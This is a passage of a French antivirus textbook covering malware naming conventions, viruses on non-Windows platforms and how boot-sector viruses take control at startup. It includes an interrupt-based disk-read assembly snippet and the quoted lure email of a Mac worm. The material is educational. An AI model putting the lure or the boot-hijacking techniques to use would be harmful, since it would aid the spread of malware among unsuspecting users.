virus de plusieurs types.Sans être encouragés dans leur utilisation, les prénoms courants sont permis.Les noms liés, de près ou de loin, au monde de l’anti-virus sont particulière-ment évités.Des noms ou des termes précis que le concepteur du code souhaiterait voirrepris sont souvent dénaturés avant d’être utilisés comme nom de famille.Cette pratique n’est pas directement préconisée mais s’avère parfois utile encas de manque d’inspiration.

• Reprendre un nom de famille existant. Ce nom doit rester unique. S’il a étéutilisé comme dénomination pour une plate-forme, il ne doit pas l’être sur uneseconde, sauf s’il existe des similitudes flagrantes ou s’il s’agit de la mêmemalveillance s’attaquant à plusieurs plates-formes.

• Imaginer un nouveau nom pour un virus appartenant à une famille existante.Des auteurs différents et des routines d’activation divergentes n’entraînentpas la création d’une famille. L’affiliation se fait au regard de similitudes decode touchant les principes fondamentaux de la classe de malveillance. Pourun virus, le mécanisme d’infection est donc l’aspect primordial à prendre encompte : c’est de par sa capacité de propagation qu’un code va appartenir, ounon, à la famille virale.

• Employer de noms obscènes ou blessants. Le choix d’un nom de famille à lavue d’un texte écrit dans une langue inconnue doit être préalablementcontrôlé. Certains termes peuvent avoir des connotations religieuses et deve-nir offensants pour certains groupes à partir du moment ou ils sont associés àun élément malveillant.

• Reprendre, sans en vérifier la justesse, le nom du fichier dans lequel est fournitla souche virale. Ce nom peut cependant être une piste intéressante que lechercheur pourra exploiter grâce à VGREP1.

1. VGREP est une base de donnée croisée utilisée par les chercheurs et mise à jour de façon men-suelle. Elle permet une recherche sur la base de mots clés. Chaque élément y est présenté selon lesnoms de baptêmes des principaux outils de détection.

PAGET_Ch03 Page 120 Lundi, 11. avril 2005 5:24 17

121©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

• D’utiliser des suites numériques. Pour des raisons déjà expliquées, cette prati-que jusqu’ici simplement déconseillée est aujourd’hui à proscrire. Les nomsnumériques entrent aussi dans cette catégorie (exemple Eight941).

Outre ces interdictions, on s’applique à suivre les recommandations suivantes enévitant d’utiliser :

• Le nom proposé ou suggéré par l’auteur. Cette reprise pourrait être considéréecomme une sorte de reconnaissance. Face à certains virus à la propagationexplosive, l’utilisation de ce nom peut cependant permettre d’éviter la multi-plicité des appellations prises dans la précipitation. En effet, si la concertationest souvent de mise, elle est parfois rendue difficile lorsqu’une menacemajeure apparaît et qu’il faut y répondre sans attendre. Cette abondance desnoms est alors particulièrement dommageable puisqu’elle intervient à unmoment ou le public est largement informé par les médias.

• Le nom par lequel le programme circule. Beaucoup de mass-mailers se diffu-sent au travers d’un fichier à la dénomination constante. Les variantes qui nemanquent pas d’apparaître se différencient souvent par un nouveau nom. Ellessont parfois plus prolifiques qu’à l’origine et une appellation malta proposengendre des incompréhensions. D’autres mass-mailers choisissent aussi desnoms d’une manière plus ou moins aléatoires. Ceux-ci peuvent se retrouver,par ailleurs, comme nom légitime au titre d’une entreprise ou d’un particulieret engendrer de fausses inquiétudes.

• Des noms de jours liés à des dates d’activation.• Des reprises de textes qui peuvent facilement changer d’une variante à l’autre.• Des noms géographiques basés sur l’emplacement de la découverte.• Si plusieurs noms sont déjà connus et acceptables, on utilise de préférence

celui qui a été donné par le chercheur qui a, le premier, isolé la souche.

Nom de Groupe

Tout comme par le passé, le nom de groupe s’applique à un ensemble important devirus semblables dans une même famille. Cette identifiant fut largement utiliséedans le monde des anciens virus DOS.

Il est aujourd’hui peu employé et tend à être ignoré pour les menaces actuelles.

Taille

Ce champ s’intitulait rang de variante majeure dans la précédente réglementation.Le nom actuel officialise le fait qu’il n’est utilisé que pour les virus fonctionnant parajout. Il indique la taille du code joint.

PAGET_Ch03 Page 121 Lundi, 11. avril 2005 5:24 17

122 Chapitre 3. Notions fondamentales

Cette information n’est de fait utile que dans ce cas précis et ne s’applique qu’auxvirus binaires. Une exception existe cependant dans le cas de certains virus multi-partites. Un virus tel que W97M/Beast.41472.A comporte une indication de taille.Cette taille est celle du virus Windows associé. Le nom complet étant :

virus://{W32, W97M}/Beast.41472.A.Sans cette indication, la confusion peut facilement s’instaurer à l’apparition de

nouvelles variantes et il ne serait plus possible de relier une macro particulière à sonfichier binaire associé.

Rang de Variante Mineure & Dévolution

L’information de dévolution n’existe qu’associée à certains rangs de variantesmineures. Cet ensemble forme un tout et c’est uniquement par souci de clarificationque le champ dévolution est décrit au paragraphe suivant.

Le rang de variante mineure est constitué d’une ou plusieurs lettres qui s’incré-mentent au fil de l’apparition des variantes (A, B, C, … Z, AA, AB, AC, etc.). Ilconcerne des virus de même taille (lorsque cette information s’applique) ou demême structure et comportement.

Pour les virus programmes binaires, il différencie une légère variation d’un mêmecode.

Pour la majorité des macro-virus, des virus de script et des programmes non auto-reproducteurs, le rang de variante mineure est souvent le premier niveau de différen-ciation. Il est situé juste derrière le nom de groupe. L’information de taille est eneffet inutile ; particulièrement pour les macro-virus et les virus système.

Les programmes malveillants d’aujourd’hui appartiennent souvent au mondeWindows (Win32). Ce sont fréquemment des virus et des chevaux de Troie dont lataille ne se limite pas à quelques kilo-octets. Alors que cette information, souventinutile, prendrait 5 ou 6 digits, on lui préfère donc le rang de variante mineurecomme élément distinctif. De par ce choix, le nom devient également plus convi-vial. Il est plus facile pour le public de distinguer :

• Win32/FooBar.A et Win32/FooBar.B, plutôt que,• Win32/FooBar.123456.A de Win32/FooBar.123457.A.

Un nom doit toujours inclure un identifiant de rang mineur. S’il s’agit d’un pre-mier élément d’un nouveau groupe, on doit lui attribuer le rang A. Ce même nomsans indication de rang, s’il est utilisé par un anti-virus, doit être considéré commeun nom générique derrière lequel se cache plusieurs variantes détectées par une seulesignature.

Dévolution

Ce sont certains macro-virus qui ont amené la communauté anti-virale à définir lanotion de dévolution. Elle définit un processus qui, sous certaines conditions spon-tanées, crée une variante différente qui se répliquera ensuite de manière récursive

PAGET_Ch03 Page 122 Lundi, 11. avril 2005 5:24 17

123©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

sans être à même de revenir à sa forme initiale en l’absence d’une intervention exté-rieure quelconque. On dit alors que le nouvel élément créé a une forme dévolue ouest une dévolution du virus original. L’identifiant est numérique, il est directementaccolé au rang de variante mineure.

Citons comme exemple WM/Rapi.A. Selon la manière dont il se duplique, levirus installe parfois un nombre inférieur de macros. Dans ce cas il reste infectieuxrécursivement mais ne retrouvera plus sa configuration d’origine au fil des nouvellesinfections. Cette première forme dévolue prend le nom de WM/Rapi.A1. Celle ci estviable mais peut par la suite perdre d’autres macros tout en restant virale. La secondeforme prend alors le nom de WM/Rapi.A2.

W97M/Eight941.A est un exemple différent de dévolution. Le virus peut muterindifféremment vers les états A1 ou A2 sans jamais réintégrer l’état initial.

La notion de non retour vers l’état initial est fondamentale. Le virus WM/Johnny.A fut un moment considéré comme un virus capable de dévolution. Les cher-cheurs anti-virus l’on ensuite retiré de cette catégorie lorsqu’ils se sont rendu comptequ’il pouvait reprendre, de lui-même, son état initial sous certaines circonstances.

Des virus de ce type peuvent néanmoins être capables de retrouver leur formeparentale initiale s’ils se reproduisent dans un environnement déjà infecté par leurgéniteur. Ils seront cependant considérés comme de véritables dévolus s’ils en sontincapables depuis un environnement sain (ce qui se produit naturellement lorsqu’unélément infectieux dévolu est transféré d’une machine infectée à une machine noninfectée).

En théorie, la forme originale de ces virus devrait être affectée d’un rang de dévo-lution 0. Il devrait en être de même pour les virus inaptes à la dévolution. Par com-modité, l’indicateur de dévolution n’est présent qu’en cas de nécessité pour des virusqui peuvent prendre des formes diverses dans leur environnement naturel.

Notons enfin que certains produits utilisent cet indicateur à mauvais escient pourrepérer des sous-ensembles viraux ayant fait l’objet d’une éradication partielle.

Singularité

Bien que la règle ci-dessus définie soit suffisante pour un référencement nonambiguë, certaines fonctionnalités associées sont plus significatives que d’autres. Verles années 1990, elles étaient souvent liées à des techniques d’encapsulage polymor-phique ou de compression. Dédié à cet effet, l’indicateur de singularité n’a jamais étésérieusement utilisé par le passé. On lui préfère aujourd’hui une nouvelle forme pluscomplète et plus adaptée aux techniques virales du moment. Sa nouvelle formula-tion est :

[[:<localisation>][#<compacteur>][@’m’|’mm’][ !<spécifique-vendeur>]]

La classification n’étant pas achevée en mars 2005, ces singularités ne sont pastoutes en vigueur. Certaines risquent même de disparaître.

PAGET_Ch03 Page 123 Lundi, 11. avril 2005 5:24 17

124 Chapitre 3. Notions fondamentales

1) :<Localisation>L’avènement d’une des premières variantes du virus Concept est à l’origine de cechamp. Elle prit le nom de virus://WM/Concept.B:Fr et indiquait ainsi la nécessitéd’une plate-forme française de Microsoft Word pour voir se propager le virus.

La version première du virus est aussi dépendante du langage ; il fut cependantdécidé de ne l’indiquer que pour les plates-formes différentes de l’anglais.

Son format débute par deux points ; il est suivi de deux lettres représentatives dupays. La première, de préférence en majuscule et la seconde en minuscule. Aucunstandard particulier n’est utilisé pour définir cette liste qui n’est d’ailleurs pas aussifine dans ses distinctions que ne l’est Microsoft Office lui-même (France, France(Canada), Portugal, Portugal (Brésil), etc.). En cas de nécessité, plusieurs dépendan-ces de langage peuvent se retrouver listées entre accolades.

D’autres plates-formes tels que le VBA sont dépendantes des jeux de caractèresinstallés (MBCS – Multi-Bytes Character Set). Ils peuvent affecter le bon fonctionne-ment d’un virus et faire l’objet d’une indication.

Les virus connus pour fonctionner sur plusieurs plates-formes MBCS alors qu’ilsne fonctionnent pas en l’absence de celles-ci se sont vus attribuer la singularité :Tw(pour Taiwan). On lui préfère aujourd’hui l’identifiant :Uni.

2) #<compacteur>[-hack]Certains programmes malveillants connus sont parfois modifiés extérieurement. Illeur est rajouté une ou plusieurs couches complémentaires de camouflage par le biaisde moteurs polymorphes (MTE, TPE) ou de compacteurs. S’il s’agit d’un virus quiest ensuite capable de se propager en réutilisant de lui-même ce procédé complé-mentaire, on se propose de lui attribuer une singularité spéciale qualifiant ce fait.

Aujourd’hui, seuls quelques anciens virus sont affectés de cettesingularité (exemple : Questo.2906#MTE, Civil_War.2223#TPE, Ter-rax.2874#SDFE, Teacher.3197#DSME). Elle concerne des moteurs polymorphiquesdédiés au monde viral.

Nick Fitzgerald propose d’étendre cette notion aux malveillances utilisant descompacteurs du commerce dans leur version standard ou piratée (exemple #UPX).Le suffixe -hack serait rajouté dans la mesure où le produit (runtime) aurait subi unemodification de la part de l’auteur du virus.

3) @’M’|’MM’Avec l’importance du courrier électronique, les notions d’auto expédition (self-mailer), et d’expédition en masse (mass-mailer) sont devenues des préoccupationsprépondérantes pour les utilisateurs de l’informatique.

Il existe aujourd’hui deux identifiants liés aux virus mettant en œuvre des techni-ques d’auto expédition. Ils concernent des virus capables d’envoyer des copies d’euxmême depuis une machine infectée vers d’autres cibles par le biais du courrier élec-tronique.

PAGET_Ch03 Page 124 Lundi, 11. avril 2005 5:24 17

125©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

La différence entre ces deux identifiants est liée au nombre de mails mis en jeu.

• Un virus avec l’identifiant @M est un expéditeur lent. Il émet de lui-même uncourrier chaque fois que sa victime en expédie un. Il se peut aussi qu’un oudeux mails soient envoyés à chaque démarrage de la machine.

• Le suffixe @MM s’applique à une expédition rapide et massive. Elle ne seproduit parfois qu’une seule fois ; généralement (mais pas nécessairement)dans l’instant qui suit la première exécution du code malicieux.

La différence entre lent et rapide ne fait pas l’objet d’une définition nette et pré-cise. Elle n’est que le reflet de la capacité potentielle réelle qu’a le virus à se propager.

Si le processus de propagation n’est pas opérationnel, l’identifiant ne doit pas êtreindiqué. Il n’est pas possible de rencontrer un nom tel que :

intended://VBS/[email protected]’affectation de ces singularités s’appliqua d’abord aux macro-virus. Sous l’impul-

sion de Vesselin Bontchev, le CARO adopta tout d’abord l’utilisation du suffixe@MM. En janvier 2000, lors d’échanges sur l’un de nos forums privés, je tentai d’enpréciser l’utilisation:

Le suffixe @MM est dédié aux virus/vers qui possèdent un processus <OPERA-TIONNEL> de propagation par messagerie.

Outre l’infection via la messagerie, ces macro-virus ont généralement un proces-sus d’infection standard DOC<->DOT. 7 cas sont référencés :

1. Les deux modes d’infections sont fonctionnels. On utilisera le suffixe @MM(exemple W97M/Melissa.A@MM).

2. Le mode DOC<->DOT ne fonctionne pas ou n’existe pas. La propagation sefait uniquement par mail. On utilisera le suffixe @MM (exemple W97M/Melissa.T@MM).

3. Le mode messagerie ne fonctionne pas. La propagation se fait uniquement defichier à fichier (DOC<->DOT). Pas de suffixe (exemple W97M/Mck.H).

4. Aucun processus d’infection n’est opérationnel. Il y a copie vers leNORMAL.DOT mais l’infection récursive échoue. C’est la création d’unauteur de virus, celui-ci est un intended, sans suffixe.

5. Aucun processus d’infection n’est opérationnel. Pas de copie vers leNORMAL.DOT, pas de récursivité. C’est la création d’un auteur de virus,celui-ci est un intended, sans suffixe.

6. Aucun processus d’infection n’est opérationnel. Il y a copie vers leNORMAL.DOT mais l’infection récursive échoue. C’est une corruption ouun objet généré automatiquement, celui-ci n’est rien du tout !

7. Aucun processus d’infection n’est opérationnel. Pas de copie vers leNORMAL.DOT, pas de récursivité. C’est une corruption ou un objet généréautomatiquement, celui-ci n’est rien du tout !

PAGET_Ch03 Page 125 Lundi, 11. avril 2005 5:24 17

126 Chapitre 3. Notions fondamentales

Aujourd’hui, un consensus général a vu le jour. Tout virus (et non plus seulementles macro-virus) qui cible de multiples boites à lettres se voit affecté du suffixe@MM.

Citons à titre d’exemple: W32/PrettyPark@MM, VBS/Loveletter.A@MM.

Même s’ils sont aussi très répandus, les avis furent longtemps partagés quant àl’attribution du suffixe pour les virus tels que W32/Ska ou JS/Kak. J’ai tout d’abordsouhaité qu’ils se voient attribuer ce même suffixe. Cherchant un compromis avecmes collègues, je proposais en juillet 2000 la création du suffixe @M.

Pour ces virus, la propagation est moins explosive. Certains d’entre eux firentpourtant plusieurs fois le tour de la planète ; ce ne fut qu’une question de temps. Quiplus est, pour Kak et Ska, leur prédominance perdura plusieurs années.

Continuant ma croisade pour une standardisation et une rigueur de dénomina-tion, j’ai poursuivi mon travail pour que se généralise ce nouveau suffixe. Qu’ils aientune propagation lente ou rapide et massive, les mass-mailers se définissent mainte-nant de la manière suivante :

• Le suffixe @M est dédié aux virus/vers qui possèdent un processus <OPERA-TIONNEL> de propagation par messagerie et qui cible une seule boite àlettres à chacune de leur activation.

• Le suffixe @MM est dédié aux virus/vers qui possèdent un processus<OPERATIONNEL> de propagation par messagerie et qui cible plusieursboites à lettres à chacune de leur activation.

• Outre l’infection via la messagerie, ces virus/vers peuvent également avoir unprocessus d’infection standard DOC <-> DOT ou plus généralementFICHIER <-> FICHIER.

Parmi les 7 cas référencés au paragraphe précédent, on retiendra pour les2 premiers :

• Les 2 modes d’infections sont fonctionnels. On utilisera le suffixe adéquat(exemple W97M/Melissa.A@MM, W95/Babylonia@M, W32/MTX@MM).

• Le mode FICHIER <-> FICHIER ne fonctionne pas ou n’existe pas. Lapropagation se fait uniquement par mail. On utilisera le suffixe adéquat(exemple W97M/Melissa.T@MM, JS/Kak.A@M, W32/Ska@M, VBS/Lovelet-ter.A@MM).

Même si pour d’obscures raisons le tiret remplace l’arobase; à compter de septem-bre 2000, la WildList utilisait, elle aussi, ce standard.

4) !<spécifique-vendeur>Ce champs est là pour permettre de gérer les écarts que les chercheurs de telle outelle compagnies sont amenés à faire lorsqu’ils doivent s’adapter à la demande deleurs clients, ou lorsqu’ils souhaitent préciser un détail technique lié à une menaceprésente ou émergente.

PAGET_Ch03 Page 126 Lundi, 11. avril 2005 5:24 17

127©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.5 Les autres environnements

L’exemple le plus visible aujourd’hui est !p2p qui décrit des virus utilisant le modeposte à poste (peer-to-peer) pour se propager (exemple : W32/Benjamin.worm !p2p).

3.5 LES AUTRES ENVIRONNEMENTS

Même si Microsoft Windows est aujourd’hui le principal vecteur d’infections virales,les autres systèmes d’exploitations ne sont pas à l’abri des infections.

S’ils sont moins touchés, c’est moins du fait de leur niveau intrinsèque de sécuritéque du fait du désintérêt des auteurs de virus qui préfèrent s’attaquer au leader mon-dial.

3.5.1 OS/2

Le système d’exploitation 32 bits créé par IBM (Operating System 2) n’est pas insen-sible aux virus DOS.

Les virus système peuvent tout à fait infecter une machine fonctionnant sousOS/2. Cependant le virus sera bloqué dans sa phase de propagation.

Une activation de la charge finale du virus (comme le reformatage de certainssecteurs du disque) est possible si la gâchette de déclenchement effectue un test lorsde l’exécution initiale du virus.

L’implantation du virus dans un environnement qui n’est pas celui escompté peutaussi définitivement endommager la machine qui ne parviendra plus à terminer saséquence de démarrage.

En session DOS, la propagation d’anciens virus programme reste possible sousréserve que le virus n’utilise pas de fonctions trop spécifiques.

Il existe depuis 1995 des virus dédiés aux fichiers applicatifs OS/2 (LE – LinearExecutables et LX). Les premiers d’entre eux apparurent en juin et se nomment OS2/Myname et OS2/Jiskefet.

L’un des plus évolués a vu le jour un an plus tard et porte le nom de OS2/AEP.

Tableau 3.7 — Quelques virus OS2

VIRUS TYPE ALIAS DATE

OS2/MYNAME Non Résident Recouvrement OS2/FIRST, OS2Vir 06/95

OS2/JISKEFET Non Résident, Ajout 06/95

OS2/AEP Non Résident, Ajout 06/96

PAGET_Ch03 Page 127 Lundi, 11. avril 2005 5:24 17

128 Chapitre 3. Notions fondamentales

3.5.2 MacOS

Les virus Windows n’ont aucun effet sur les Macintosh, il faut cependant prendregarde aux macro-virus et aux mass-mailers.

Non dépendants de la plate-forme système, les macro-virus se propagent au tra-vers des outils bureautiques tels que ceux fournis par Microsoft. Les versions deMicrosoft Office tournant sur Mac sont donc vulnérables.

Associé à un courrier électronique, un fichier attaché infecté peut très bien tran-siter sur un Macintosh. Si l’on y prend garde, il pourra être reçu puis retransmis sanss’implanter sur la machine.

La plupart des virus Macintosh connus sont bénins et ne détruisent aucune don-née. Ils se contentent d’afficher des images ou des messages. Les virus Macintoshsont très spécifiques et en nombre réduit. Ils ne peuvent pas infecter des programmesWindows.

Il en existe une soixantaine. Le premier d’entre eux date de 1987.

Deux virus doivent retenir notre attention : MacOS/Autostart et MacOS/Simp-sons@MM.

Le premier d’entre eux affecte les PowerPC. Il s’introduit sur le bureau sous formede fichier invisible.

Le second se propage via la messagerie électronique tout comme les nombreuxmass-mailers du monde Windows. Il s’agit du premier virus AppleScript utilisant lesfonctionnalités de script de Outlook Express et de Entourage.

Le ver arrive dans un e-mail avec deux pièces jointes et le texte suivant :

Tableau 3.8 — Quelques virus Macintosh

VIRUS TYPE ALIAS DATE

MacOS/nVIR Infecte le système et les applica-tions

Hpat, nFLU, AIDS,MEV#, Jude, Fuck,nCAM, zero

1987

MacOS/INIT 29.a Infecte les applications et lesfichiers de données

1988

MacOS/CDEF.a Infecte le bureau 1990

MacHC/Autostart.a Via la fonctionnalité LectureAuto (Autostart U.S.) du tableaude bord Réglages QuickTime(QuickTime settings U.S.)

AUTOSTART 9805 1999

MacOS/Simpsons@MM Ver AppleScript utilisant lesfonctionnalités de script de Out-look Express et de Entourage

06/01

PAGET_Ch03 Page 128 Lundi, 11. avril 2005 5:24 17

129©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.5 Les autres environnements

« Hundreds of Simpsons episodes were just secretly produced and sent out on the inter-net, if this message gets to you, the episodes are enclosed on the attachment program, whichwill only run on a Macintosh. You must have system 9.0 or 9.1 to watch the hilarious epi-sodes, in high quality. Just download and open it. »

Pour cacher son activité, il pointe Internet Explorer vers un site Web concernantl’émission télévisée Les Simpsons1.

Les fichiers joints sont :

• Secret Simpsons Episodes!, et• Simpsons Episodes.

Le premier fichier est une copie MIME du mail et le second fichier contient lescript viral. Une fois lancé, il se place dans le dossier Startup Items pour s’exécuterautomatiquement.

3.5.3 UNIX

Le mythe qui consiste à dire qu’Unix est insensible aux virus persiste toujours. Toutcomme pour OS/2 les virus système dédiés au DOS peuvent tout à fait affecter unemachine fonctionnant sous Unix. Il n’y aura pas propagation mais activation éven-tuelle de la charge finale (si elle existe) ou corruption du processus de démarrage.

Les projecteurs sont souvent braqués sur Linux, quelques virus existent cependantdans les environnements BSD et SunOS. Les virus possédant le préfixe Unix sontmulti plateformes.

1. http://www.snpp.com/episodeguide.html.

Tableau 3.9 — Quelques virus Unix-like

VIRUS TYPE ALIAS DATE

Unix/Scalper.worm BSD & LINUX 09/02

Linux/Bliss.A (&.B) Non Résident, Ajout 02/97

Linux/Glaurung.676 Non Résident, Ajout, Crypté MANDRAGORE 01/00

Linux/Siilov Résident, Ajout 01/00

{W32, Linux}/Etap.D Résident, Ajout, Polymorphe,Point d’Entrée Obscure

{W32, LINUX}/Simile.D

06/02

BSD/Walk.worm 09/01

FreeBSD/Wowood 09/01

SunOS/BoxPoison.worm 05/01

PAGET_Ch03 Page 129 Lundi, 11. avril 2005 5:24 17

130 Chapitre 3. Notions fondamentales

Les virus Unix existent depuis longtemps. Le premier d’entre eux date de 1997 etse nomme Linux/Bliss. Dans un premier temps ils furent simples et non-résidents enmémoire. Ils sont maintenant aussi performants que les virus 32 bits Windows. Ilsmettent en œuvre des techniques pointues de polymorphie et utilisent, pour cer-tains, la technique du point d’entrée obscur qui rend leur détection plus difficile quepar le passé.

En juin 2002, exploitant sans imperfection ces dernières techniques, apparaît{W32, Linux}/Etap.D. Il s’agit du premier virus à même d’infecter aussi bien lesmachines Windows que les machines Linux. Également connu sous les noms de{Win32, Linux}/Simile.D, il vérifie, à sa première exécution, la date du jour. S’il s’agitdu 17 mars ou du 17 septembre (sous Windows) ou du 17 mars ou du 17 mai (sousLinux) il affiche une boite de dialogue précisant son créateur : un certain MentalDriller, du groupe 29A.

PAGET_Ch03 Page 130 Lundi, 11. avril 2005 5:24 17

4

Les virus système

Les virus système sont longtemps restés la principale menace. Même s’ils ontaujourd’hui disparu des machines modernes, leur description va permettre au lecteurune première approche de la vision en mode hexadécimal que nous utiliseronsintensivement dans le chapitre lié aux virus programmes.

4.1 MISE EN MARCHE D’UN MICRO-ORDINATEUR

Pour saisir le fonctionnement des virus système il est nécessaire de comprendre lesmécanismes de mise en route d’un micro-ordinateur. La terminologie anglaisesurnomme cette phase d’activité POST :

Power-On Self-Test

.

Figure 4.1

Processus de mise en route d’un ordinateur

PAGET_Ch04 Page 131 Lundi, 11. avril 2005 5:24 17

132 Chapitre 4. Les virus système

À la mise sous tension, le processus débute par l’exécution du BIOS

1

. Ce pro-gramme est contenu dans la ROM (mémoire morte), l’EPROM ou la Flash EPROM(EEPROM) de la machine. Il teste la quantité de mémoire, le matériel et rechercheles différentes unités physiques pour trouver celles qui contiennent réellement undisque.

Le BIOS utilise les paramètres de configuration de la mémoire RAM CMOS.Ceux ci contiennent entre autre le séquencement par lequel les disques doivent êtreactivés. Par exemple :

• Lecteur de disquette.• CD-ROM.• Disque dur C:.

Le premier secteur de l’unité choisie est alors chargé en mémoire vive (RAM) etexécuté. Il va permettre la recherche du système d’exploitation.

Sur les disquettes, ce secteur est un court programme qui teste la présence du sys-tème DOS et le charge. Si celui ci est absent, c’est ce programme qui affiche lemessage :

• Disque non système.• changer de disque et appuyer sur une touche.

Avec les systèmes d’exploitation Windows NT, on rencontre également lemessage :

• NTLDR manque.• Appuyez une touche pour redémarrer.

Sur un disque dur, ce premier secteur est le secteur des partitions, ou

Master BootRecord

(MBR). Il décrit la structure logique du disque et re-dirige le programmed’initialisation vers la partition active. Celle ci coïncide généralement avec le pre-mier disque logique. Pour un fonctionnement correct, cette unité doit être amorça-ble et contenir un système d’exploitation. Dans le cas contraire le message déjàmentionné ci-dessus apparaîtra.

La main est ainsi donnée au premier secteur de la partition active. C’est le sec-teur de démarrage, ou

Boot sector

. Il contient une routine appelée

Boot Strap Loader

.C’est elle qui effectue la recherche du système d’exploitation en RAM. Il s’agit soit :

• des fichiers IBMBIO.COM et IBMDOS.COM (ou IBMDOS.SYS etIBMBIO.SYS) pour les versions PC-DOS d’IBM,

• des fichiers IO.SYS et MSDOS.SYS pour les versions MS-DOS ou Windows9X de Microsoft,

1.

Basic Input Output System

.

PAGET_Ch04 Page 132 Lundi, 11. avril 2005 5:24 17

133

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

4.1 Mise en marche d’un micro-ordinateur

• du fichier NTLDR pour les versions Windows NT/2K/XP de Microsoft.

Ces fichiers se trouvent directement à la racine du disque dur et permettront lechargement du noyau de l’OS.

4.1.1 L’organisation de la mémoire

Le mode réel, c’est le mode du 8086. On a accès à un méga-octet à la fois. Quand un80386 (ou au-delà) démarre, il le fait en mode réel. C’est à compter du lancement deNTLDR que le processeur bascule vers le mode d’adressage mémoire 32 bits ou modeprotégé pour ensuite aboutir à l’invite d’ouverture de session.

Le BIOS se recopie en mémoire vive dans la zone qui le recouvre (ROM BIOS).Les vecteurs d’interruption et les variables qu’il initialise (RAM BIOS) sont dansune zone réservée au tout début de la mémoire. Elle est accessible par n’importe quelprogramme. Vient ensuite le système d’exploitation qui utilise un espace plus oumoins important selon les versions et les pilotes de périphériques installés.

Figure 4.2

Organisation du premier méga-octet de la mémoire

Pour adresser le premier méga-octet, il faut 20 bits d’adresse. Elles s’exprimenttoujours sous forme

Segment:Offset

(exemple :

A000h:0000h

).

Le calcul d’une adresse mémoire se fait par l’addition d’une base (le segment) etd’un déplacement (l’offset), tous deux de 16 bits. La base est décalée de 4 bits avantl’addition pour obtenir une adresse physique de 20 bits.

Exprimé en hexadécimal, l’adresse de démarrage des PC se trouve en

FFFFh:0000h

.

FFFFh

est le segment et

0000h

est l’offset.

Cela correspond à l’adresse linéaire

FFFF* + *0000 = FFFF0h

où l’étoile indiqueun décalage.

PAGET_Ch04 Page 133 Lundi, 11. avril 2005 5:24 17

134 Chapitre 4. Les virus système

Figure 4.3

Calcul d’une adresse mémoire

Les données générées par le BIOS sont localisées à compter de l’adresse

0040h:0000h

. Nous en retrouverons certaines, plus tard, dans ce chapitre. Il s’agitde :

• la taille de la mémoire RAM : (

0040h:0013h // 413h

),• le chronomètre (

0040h:006Ch // 46Ch

). Cette valeur, intitulée aussi comp-teur de ticks, est incrémentée à chaque appel de l’horloge (timer

)

, soitapproximativement 18,2 fois par seconde.

Le secteur de partition est chargé en mémoire par le BIOS à l’adresse

0000h:7C00h

.

4.1.2 Les interruptions

Les interruptions sont des sous-programmes particuliers liés au fonctionnement del’ordinateur. Écrites en assembleur, elles gèrent les évènements internes et externeset dialoguent avec le processeur. Elles se divisent en deux catégories :

• les interruptions matérielles coordonnent les évènements internes. Elles sontgénérées par les composants matériels tels que le clavier ou l’horloge interne,

• les interruptions logicielles coordonnent les évènements externes. Elles agis-sent en quelque sorte comme des sous-programmes.

Qu’il soit sain ou infecté, le secteur de démarrage est chargé et exécuté avant lesystème d’exploitation. L’ensemble des services d’interruptions n’est pas encoreaccessible et il faut se reposer sur les services offerts par le BIOS. Ni les interruptionsélectroniques (par exemple : le clavier), ni celles du DOS (par exemple : l’accès auxsystèmes de fichiers) ne sont disponibles.

Certaines le sont néanmoins ; la plus importante est l’interruption 13h. Elle per-met l’accès aux disques en mode physique. Elle est déclenchée à l’aide de l’instruc-

PAGET_Ch04 Page 134 Lundi, 11. avril 2005 5:24 17

135

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

4.1 Mise en marche d’un micro-ordinateur

tion

INT

du langage machine. Les paramètres sont passés dans les registres. Ilss’associent à des fonctions précises. Parmi les plus courantes, citons :

• la lecture de secteurs, fonction 02h,• l’écriture de secteurs, fonction 03h,• la lecture des paramètres d’une unité, fonction 08h.

Voici à titre d’exemple, un petit programme en assembleur qui lit le secteur con-tenant les informations sur les partitions.

Figure 4.4

Exemple d’appel d’une interruption

Un virus ne va pas se contenter d’utiliser les interruptions. Il va les

détourner

.Cela permettra l’exécution du code viral préalablement à celui de la fonction atten-due.

Les interruptions sont stockées en mémoire à des adresses fixes. La table suivantedonne l’adresse de quelques vecteurs d’interruption ainsi que les services rendus parchacun d’eux.

Buf DB 512 DUP ( ?)...Mov ah,02h ; Fonction 2Mov al,01h ; Lire 1 secteurMov ch,00h ; Cylindre 0Mov cl,01h ; Secteur 1Mov dh,01h ; Tête 0Mov dl,80h ; Disque C :Push dsPop es ; es

dsMov bx, Offset Buf ; Adresse zone mémoire de sauvegardeInt 13h ; Lire le secteur

Tableau 4.1

— Quelques interruptions et leurs adresses linéaires hexadécimales

N° Adresse linéaire (hexadécimal) Fonction

08h 020-023 IRQ0 :

Timer

(Appel 18,2 fois par secondes)

12h 048-04B BIOS : Détermination taille RAM

13h 04C-04F BIOS : Fonction disquettes/disque dur

1Ah 068-06B BIOS : Lecture date et heure

1Ch 070-073 Appelé après chaque INT 08h

21h 084-087 DOS : Fonction du DOS

PAGET_Ch04 Page 135 Lundi, 11. avril 2005 5:24 17

136 Chapitre 4. Les virus système

4.2 MODE DE PROPAGATION

Un virus système cherche à avoir la main, au plus tôt, sur les ressources de lamachine. Combattons tout d’abord une idée reçue : il ne peut s’implémenter dansl’environnement du BIOS :

• Une fois programmée, il n’y a pas de possibilité de modifier la mémoire morte(ROM). Si elle contient un programme malveillant, il s’agira d’un Cheval deTroie ou d’une bombe logique introduite lors de sa fabrication.

• Il est possible de modifier le contenu d’une flash EPROM mais l’implantationd’un virus système viable semble difficile, voire impossible.

• La mémoire CMOS ne contient pas de code exécutable et ne peut pas conte-nir de virus. Par contre, un virus peut très bien en altérer son contenu.

Il reste donc :

• le secteur des partitions (

MBR, Master Boot Record

) pour les disques durs,• le secteur de démarrage (

Boot Sector

) pour les disques durs et les disquettes.

Pour s’approprier l’un de ces deux secteurs, le virus peut être introduit via un pro-gramme spécifique (implanteur ou virus multipartite). Les auteurs ont cependantimmédiatement compris qu’il était beaucoup plus simple de concevoir un virusdirectement sous la forme d’un secteur de démarrage de disquette.

